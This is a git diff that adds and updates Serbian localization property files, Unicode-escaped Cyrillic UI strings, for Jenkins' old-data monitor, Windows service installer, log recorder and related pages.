a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage_sr.properties b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage_sr.properties new file mode 100644 index 0000000000..501dad149a --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/manage_sr.properties @@ -0,0 +1,18 @@ +# This file is under the MIT License by authors + +Manage\ Old\ Data=\u0423\u0440\u0435\u0434\u0438 \u0441\u0442\u0430\u0440\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 +blurb.1=\u041A\u0430\u0434\u0430 \u0438\u043C\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0435 \u0443 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0441y \u043F\u043E\u0434\u0430\u0446\u0438 \u0443\u0447\u0443\u0432\u0430\u043D\u0438 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443, Jenkins \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u0441\u043B\u0435\u0434\u0435\u045B\u0443 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0458\u0443: \u043F\u043E\u0434\u0430\u0446\u0438 \u0441\u0443 \u043F\u0440\u0435\u043D\u0435\u0442\u0438 \u0443 \u043D\u043E\u0432\u0443 \u0441\u0442\u0440\u0443\u043A\u0442\u0443\u0440\u0437 \u043A\u0430\u0434\u0430 \u0458\u0435 \u0443\u0447\u0438\u0442\u0430\u043D, \u0430\u043B\u0438 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043D\u0438\u0458\u0435 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0430 \u0443 \u043D\u043E\u0432\u043E\u043C \u0444\u043E\u0440\u043C\u0430\u0442\u0443. \u0422\u043E \u0432\u0430\u043C \u043E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 \u0434\u0430 \u0441\u0435 \u0432\u0440\u0430\u0442\u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 Jenkins \u0430\u043A\u043E \u0431\u0443\u0434\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. \u041C\u0435\u0452\u0443\u0442\u0438\u043C, \u043E\u043D \u0442\u0430\u043A\u043E\u0452\u0435 \u043C\u043E\u0436\u0435 \u043F\u0438\u0441\u0430\u0442\u0438 \u043D\u043E\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043D\u0430 \u0434\u0438\u0441\u043A\u0443 \u0443 \u0441\u0442\u0430\u0440\u043E\u043C \u0444\u043E\u0440\u043C\u0430\u0442\u0443 \u043D\u0430 \u043D\u0435\u043E\u0434\u0440\u0435\u0452\u0435\u043D\u043E \u0432\u0440\u0435\u043C\u0435. \u0423 \u0442\u0430\u0431\u0435\u043B\u0438 \u0438\u0441\u043F\u043E\u0434 \u0458\u0435 \u0441\u043F\u0438\u0441\u0430\u043A \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043A\u043E\u0458\u0438 \u0441\u0430\u0434\u0440\u0436\u0435 \u0442\u0430\u043A\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435, \u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 Jenkins, \u0433\u0434\u0435 \u0458\u0435 \u0441\u0442\u0440\u0443\u043A\u0442\u0443\u0440\u0430 \u043F\u0440\u043E\u043C\u0435\u045A\u0435\u043D\u0430. +blurb.2=\u041F\u043E\u043D\u0435\u043A\u0430\u0434 \u0441\u0435 \u043F\u043E\u0458\u0430\u0432\u0435 \u0433\u0440\u0435\u0448\u043A\u0435 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u0447\u0438\u0442\u0430\u045A\u0430 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430 (\u0430\u043A\u043E \u043D\u043F\u0440 \u043C\u043E\u0434\u0443\u043B\u0430 \u0431\u0443\u0434\u0435 \u043A\u0430\u0441\u043D\u0438\u0458\u0435 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D\u0430, \u043C\u0438\u0433\u0440\u0430\u0446\u0438\u043E\u043D\u0438 \u043A\u043E\u0434\u0435\u043A\u0441 \u043D\u0430\u043F\u0438\u0441\u0430\u043D \u043D\u0435 \u043F\u0440\u0435\u043F\u043E\u0437\u043D\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0435 \u0443 \u0441\u0442\u0440\u0443\u043A\u0442\u0443\u0440\u0438, \u0438\u043B\u0438 \u0430\u043A\u043E \u0458\u0435 Jenkins \u0432\u0440\u0430\u045B\u0435\u043D \u043F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E\u0458 \u0432\u0435\u0440\u0437\u0438\u0458\u0438 \u043D\u0430\u043A\u043E\u043D \u0448\u0442\u043E \u0431\u0438 \u043D\u0435\u043A\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u043D\u0435\u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u0431\u0438\u0442\u0438 \u0443\u0447\u0438\u0442\u0430\u043D\u0438). \u041E\u0432\u0435 \u0433\u0440\u0435\u0448\u043A\u0435 \u0441\u0443 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0435, \u0430\u043B\u0438 \u043D\u0435\u043E\u0447\u0438\u0442\u0459\u0438\u0432\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u0441\u0435 \u043F\u0440\u0435\u0434\u0441\u043A\u0430\u0447\u0443. +Type=\u0422\u0438\u043F +Name=\u0418\u043C\u0435 +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +blurb.3=\u041F\u0440\u0430\u0442\u0435\u045B\u0438 \u0444\u043E\u0440\u043C\u0443\u043B\u0430\u0440 \u043C\u043E\u0436\u0435 \u0441\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u0437\u0430 \u043F\u043E\u043D\u043E\u0432\u043E \u0441\u0430\u0447\u0443\u0432\u0430\u045A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E\u043C \u0444\u043E\u0440\u043C\u0430\u0442\u0443, \u043A\u043E\u0458\u0438 \u043D\u0435\u043C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u0443\u0447\u0438\u0442\u0430\u043D \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 Jenkins. \u041D\u043E\u0440\u043C\u0430\u043B\u043D\u0430 \u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0430 \u0442\u0430\u043A\u043E\u0452\u0435 \u043C\u043E\u0436\u0435 \u043F\u0440\u043E\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043A\u043E\u0458\u0435 \u043D\u0435\u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0443\u0447\u0438\u0442\u0430\u043D\u0438 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 Jenkins. \u0421\u0432\u0438 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u043E \u043F\u0440\u0435\u0431\u0430\u0447\u0435\u043D\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u045B\u0435 \u0431\u0438\u0442\u0438 \u0438\u0437\u0431\u0440\u0438\u0441\u0430\u043D\u0438 \u043D\u0430\u043A\u043E\u043D \u0441\u0430\u0447\u0443\u0432\u0430\u045A\u0430. +blurb.4=\ \u041E\u0432\u0430 \u0441\u043F\u043E\u0441\u043E\u0431\u043D\u043E\u0441\u0442 \u043C\u043E\u0436\u0435 \u0435\u0432\u0435\u043D\u0442\u0443\u0430\u043B\u043D\u043E \u0431\u0438\u0442\u0438 \u0443\u043A\u043B\u045A\u0435\u043D\u0430, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043A\u043E\u043C\u043F\u0430\u0442\u0438\u0431\u0438\u043B\u043D\u043E\u0441\u0442 \u045B\u0435 \u0431\u0438\u0442\u0438 \u043E\u0434\u0440\u0436\u0430\u043D \u0434\u043E \u043D\u0430\u0458\u043C\u0430\u045A\u0435 150 \u0438\u0437\u0434\u0430\u045A\u0430 \u043F\u043E\u0441\u043B\u0435 \u0438\u043A\u0430\u043A\u0432\u0438\u0445 \u043F\u0440\u043E\u043C\u0435\u043D\u0430. \u0421\u0442\u0430\u0440\u0438\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 \u0441\u0443 \u043E\u0437\u043D\u0430\u0447\u0435\u043D\u0438 \u043C\u0430\u0441\u043D\u0438\u043C \u0441\u043B\u043E\u0432\u0438\u043C\u0430. \u041F\u0440\u0435\u043F\u043E\u0440\u0443\u0447\u0443\u0458\u0435 \u0441\u0435 \u0441\u0430\u0447\u0443\u0432\u0430\u045A\u0435 \u043E\u0432\u0438\u0445 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430. +Resave\ data\ files\ with\ structure\ changes\ no\ newer\ than\ Jenkins=\u041F\u043E\u043D\u043E\u0432\u043E \u0441\u0430\u0447\u0443\u0432\u0430\u0458 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0441\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0430\u043C\u0430 \u043A\u043E\u0458\u0435 \u043D\u0438\u0441\u0443 \u043D\u043E\u0432\u0438\u0458\u0430 \u043E\u0434 Jenkins +blurb.5=(\u0432\u0440\u0430\u045B\u0430\u045A\u0435 \u043D\u0430 \u043E\u0434\u0430\u0431\u0440\u0430\u043D\u0443 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u045B\u0435 \u0431\u0438\u0442\u0438 \u043C\u043E\u0433\u0443\u045B\u0435) +Upgrade=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 +No\ old\ data\ was\ found.=\u0417\u0430\u0441\u0442\u0430\u0440\u0435\u043B\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u043D\u0438\u0441\u0443 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u0438. +Unreadable\ Data=\u041D\u0435\u043E\u0447\u0438\u0442\u0459\u0438\u0432\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 +blurb.6=\u041C\u043E\u0436\u0435 \u0441\u0435 \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043D\u0435\u0432\u0430\u0436\u0435\u045B\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u0443 \u043E\u0432\u0438\u043C \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430\u043C\u0430, \u0437\u0430\u0448\u0442\u043E Jenkins \u0438\u0445 \u043D\u0435 \u0437\u0430\u0431\u0435\u043B\u0435\u0436\u0438. \u041F\u043E\u043D\u043E\u0432\u043E \u0441\u0430\u0447\u0443\u0432\u0430\u0458\u0442\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u0434\u0430 \u0431\u0438\u0441\u0442\u0435 \u0438\u0437\u0431\u0435\u0433\u043B\u0438 \u0436\u0443\u0440\u043D\u0430\u043B \u043F\u043E\u0440\u0443\u043A\u0435 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430. +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +Discard\ Unreadable\ Data=\u041E\u0434\u0431\u0430\u0446\u0438 \u043D\u0435\u0447\u0438\u0459\u0438\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 diff --git a/core/src/main/resources/hudson/diagnosis/OldDataMonitor/message_sr.properties b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/message_sr.properties new file mode 100644 index 0000000000..9575d0a323 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/OldDataMonitor/message_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Manage=\u041F\u043E\u0434\u0435\u0441\u0438 +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +You\ have\ data\ stored\ in\ an\ older\ format\ and/or\ unreadable\ data.=\u0418\u043C\u0430\u0442\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0435 \u043F\u043E \u0441\u0442\u0430\u0440\u0438\u0458\u0435\u043C \u0444\u043E\u0440\u043C\u0430\u0442\u0443, \u0438\u043B\u0438 \u043D\u0435\u0443\u0447\u0438\u0442\u0459\u0438\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435. diff --git a/core/src/main/resources/hudson/diagnosis/ReverseProxySetupMonitor/message_sr.properties b/core/src/main/resources/hudson/diagnosis/ReverseProxySetupMonitor/message_sr.properties index e045957692..a61a9cb6da 100644 --- a/core/src/main/resources/hudson/diagnosis/ReverseProxySetupMonitor/message_sr.properties +++ b/core/src/main/resources/hudson/diagnosis/ReverseProxySetupMonitor/message_sr.properties @@ -1,3 +1,5 @@ # This file is under the MIT License by authors -More\ Info=Vi\u0161e Informacija +More\ Info=\u0412\u0438\u0448\u0435 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0430 +blurb=\u0418\u0437\u0433\u043B\u0435\u0434\u0430 \u0434\u0430 \u0438\u043C\u0435 \u0433\u0440\u0435\u0448\u043A\u0430 \u0443 \u0432\u0430\u0448\u043E\u0458 reverse proxy. +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 diff --git a/core/src/main/resources/hudson/diagnosis/TooManyJobsButNoView/message_sr.properties b/core/src/main/resources/hudson/diagnosis/TooManyJobsButNoView/message_sr.properties new file mode 100644 index 0000000000..d025743f73 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/TooManyJobsButNoView/message_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Create\ a\ view\ now=\u041A\u0440\u0435\u0438\u0440\u0430\u0458 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430\u0434\u0430 +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +blurb=\u041F\u043E\u0441\u0442\u043E\u0458\u0438 \u0432\u0435\u043B\u0438\u043A\u0438 \u0431\u0440\u043E\u0458 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. \u0414\u0430 \u043B\u0438 \u0437\u043D\u0430\u0442\u0435 \u0434\u0430 \u043C\u043E\u0436\u0435\u0442\u0435 \u0434\u0430 \u043E\u0440\u0433\u0430\u043D\u0438\u0437\u0443\u0458\u0435\u0442\u0435 \u0432\u0430\u0448\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043F\u043E \u0440\u0430\u0437\u043B\u0438\u0447\u0438\u0442\u0438\u043C \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0438\u043C\u0430? \u041F\u0440\u0438\u0442\u0438\u0441\u043D\u0435\u0442\u0435 " + " \u043D\u0430 \u043F\u043E\u0447\u0435\u0442\u043A\u0443 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0435 \u0431\u0438\u043B\u043E \u043A\u0430\u0434\u0430, \u0434\u0430 \u0434\u043E\u0434\u0430\u0442\u0435 \u043D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434. diff --git a/core/src/main/resources/hudson/fsp/Messages_sr.properties b/core/src/main/resources/hudson/fsp/Messages_sr.properties new file mode 100644 index 0000000000..b4e48fe8ec --- /dev/null +++ b/core/src/main/resources/hudson/fsp/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +WorkspaceSnapshotSCM.NoSuchJob=\u0417\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C "{0}" \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438. \u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 "{1}"? \ No newline at end of file diff --git a/core/src/main/resources/hudson/init/impl/Messages_sr.properties b/core/src/main/resources/hudson/init/impl/Messages_sr.properties new file mode 100644 index 0000000000..643a509371 --- /dev/null +++ b/core/src/main/resources/hudson/init/impl/Messages_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +GroovyInitScript.init=\u0418\u0437\u0432\u0440\u0448\u045A\u0430 \u043F\u0440\u0438\u043B\u0430\u0433\u043E\u0452\u0435\u043D\u0438\u0445 \u0438\u043D\u0438\u0446\u0438\u0430\u043B\u0438\u0437\u0430\u0446\u0438\u043E\u043D\u0438 \u043F\u0440\u043E\u0433\u0440\u0430\u043C +InitialUserContent.init=\u041F\u0440\u0438\u043F\u0440\u0435\u043C\u0430\u045A\u0435 \u043E\u0441\u043D\u043E\u0432\u043D\u0438 \u0441\u0430\u0434\u0440\u0436\u0430\u0458 \u0437\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/lifecycle/Messages_sr.properties b/core/src/main/resources/hudson/lifecycle/Messages_sr.properties new file mode 100644 index 0000000000..8c6981247c --- /dev/null +++ b/core/src/main/resources/hudson/lifecycle/Messages_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +WindowsInstallerLink.DisplayName=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 \u043A\u0430\u043E Windows \u0441\u0435\u0440\u0432\u0438\u0441 +WindowsInstallerLink.Description=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430 Jenkins \u043A\u0430\u043E Windows \u0441\u0435\u0440\u0432\u0438\u0441 \u043A\u043E\u0458\u0438 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435 \u043A\u0430\u0434\u0430 \u043F\u043E\u0447\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0430. +WindowsSlaveInstaller.ConfirmInstallation=\u041E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0430 \u045B\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0442\u0438 \u0430\u0433\u0435\u043D\u0442 \u043A\u043E\u0458\u0438 \u0441\u0435 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435 \u043A\u0430\u0434\u0430 \u043F\u043E\u0447\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0430. +WindowsSlaveInstaller.InstallationSuccessful=\u0423\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430. \u0414\u0430 \u0441\u0435 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0430\u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441? +WindowsSlaveInstaller.DotNetRequired=\u0417\u0430 \u0442\u043E \u043D\u0438\u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E .NET Framework 2.0 \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435 +WindowsSlaveInstaller.RootFsDoesntExist=\u041E\u0441\u043D\u043E\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u0430\u0433\u0435\u043D\u0442\u0430 "{0}" \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438. \ No newline at end of file diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties new file mode 100644 index 0000000000..3452bbb3e2 --- /dev/null +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Please\ wait\ while\ Jenkins\ is\ restarting=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0441\u0430\u0447\u0435\u043A\u0430\u0458\u0442\u0435 \u0434\u043E\u043A \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435 Jenkins +blurb=\u0411\u0438\u045B\u0435\u0442\u0435 \u043C\u043E\u043C\u0435\u043D\u0442\u0430\u043B\u043D\u043E \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043D\u0430 Jenkins.\ +\u0410\u043A\u043E \u0438\u0437 \u043D\u0435\u043A\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u043D\u0435 \u0440\u0430\u0434\u0438, \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 Windows \u0436\u0443\u0440\u043D\u0430\u043B \u0434\u043E\u0433\u0430\u0452\u0430\u0458\u0430 \u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0435 \u0438\u043B\u0438 \u0441\u0435 \u043E\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0412\u0438\u043A\u0438 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Jenkins+windows+service+fails+to+start"">\u0437\u0432\u0430\u043D\u0438\u0447\u043D\u043E\u0433 \u0412\u0438\u043A\u0438. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_sr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_sr.properties new file mode 100644 index 0000000000..b7283ad27b --- /dev/null +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Install\ as\ Windows\ Service=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 \u043A\u0430\u043E Windows \u0441\u0435\u0440\u0432\u0438\u0441 +installBlurb=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 Jenkins \u043A\u0430\u043E Windows \u0441\u0435\u0440\u0432\u0438\u0441 \u0432\u0430\u043C \u043E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 \u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 Jenkins \u043A\u0430\u0434\u0430 \u043F\u043E\u0447\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0430, \u0431\u0435\u0437 \u043E\u0431\u0437\u0438\u0440\u0430 \u043D\u0430\ +\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438 Jenkins. +Installation\ Directory=\u0414\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0443\u043C \u0437\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0443 +Install=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458 +Installation\ Complete=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0433\u043E\u0442\u043E\u0432\u0430 +restartBlurb=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0437\u0430\u0432\u0440\u0448\u0435\u043D\u0430. \u0414\u0430\u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0437\u0430\u0443\u0441\u0442\u0430\u0432\u0438\u0442\u0435 Jenkins \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 \u043D\u043E\u0432\u043E-\u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438 Windows \u0441\u0435\u0440\u0432\u0438\u0441? +Yes=\u0414\u0430 diff --git a/core/src/main/resources/hudson/logging/LogRecorder/configure_sr.properties b/core/src/main/resources/hudson/logging/LogRecorder/configure_sr.properties new file mode 100644 index 0000000000..22db6a939b --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/configure_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Loggers=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0438 +List\ of\ loggers\ and\ the\ log\ levels\ to\ record=\u0421\u043F\u0438\u0441\u0430\u043A \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0430 \u0438 \u043D\u0438\u0432\u043E\u0438 \u0437\u0430 \u043F\u0438\u0441\u0430\u045A\u0430\u045A\u0435 \u0437 \u0436\u0443\u0440\u043D\u0430\u043B +Logger=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Log\ level=\u041D\u0438\u0432\u043E \u0434\u0435\u0442\u0430\u0459\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u043E\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/logging/LogRecorder/delete_sr.properties b/core/src/main/resources/hudson/logging/LogRecorder/delete_sr.properties new file mode 100644 index 0000000000..79e28f491f --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/delete_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Are\ you\ sure\ about\ deleting\ this\ log\ recorder?=\u0414\u0430\u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043E\u0432\u043E\u0433 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0430? +Yes=\u0414\u0430 diff --git a/core/src/main/resources/hudson/logging/LogRecorder/index_sr.properties b/core/src/main/resources/hudson/logging/LogRecorder/index_sr.properties new file mode 100644 index 0000000000..ab884fbbc9 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Clear\ This\ Log=\u041F\u0440\u0435\u0431\u0440\u0438\u0448\u0438 \u0436\u0443\u0440\u043D\u0430\u043B diff --git a/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_sr.properties b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_sr.properties new file mode 100644 index 0000000000..056edbafdc --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorder/sidepanel_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Back\ to\ Loggers=\u041D\u0430\u0437\u0430\u0434 \u043D\u0430 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0435 +Log\ records=\u041D\u0438\u0432\u043E\u0438 \u0437\u0430 \u043F\u0438\u0441\u0430\u045A\u0435 \u0443 \u0436\u0443\u0440\u043D\u0430\u043B +Configure=\u041A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0438\u0448\u0438 +Delete=\u0423\u043A\u043B\u043E\u043D\u0438 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/all_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/all_sr.properties new file mode 100644 index 0000000000..9e6ac59fab --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/all_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Jenkins\ Log=Jenkins \u0436\u0443\u0440\u043D\u0430\u043B +Level=\u041D\u0438\u0432\u043E +Logger\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u0430 +Name=\u0418\u043C\u0435 +Submit=\u041F\u043E\u0434\u043D\u0435\u0441\u0438 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/feeds_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/feeds_sr.properties new file mode 100644 index 0000000000..89231883dd --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/feeds_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +All=\u0421\u0432\u0435 +>\ SEVERE=> \u0421\u0422\u0420\u041E\u0413\u041E +>\ WARNING=> \u0423\u041F\u041E\u0417\u041E\u0420\u0415\u040A\u0415 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/index_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/index_sr.properties new file mode 100644 index 0000000000..3ace1a3e18 --- /dev/null +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/index_sr.properties @@ -0,0 +1,14 @@ +# This file is under the MIT License by authors + +Log=\u0416\u0443\u0440\u043D\u0430\u043B +Log\ Recorders=\u0416\u0443\u0440\u043D\u0430\u043B\u0438 +Name=\u0418\u043C\u0435 +Add\ new\ log\ recorder=\u0414\u043E\u0434\u0430\u0458 \u043D\u043E\u0432\u043E\u0433 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447\u0430 +All\ Jenkins\ Logs=\u0421\u0432\u0438 Jenkins \u0436\u0443\u0440\u043D\u0430\u043B\u0438 +Jenkins\ Log=Jenkins \u0436\u0443\u0440\u043D\u0430\u043B +Level=\u041D\u0438\u0432\u043E +Logger\ 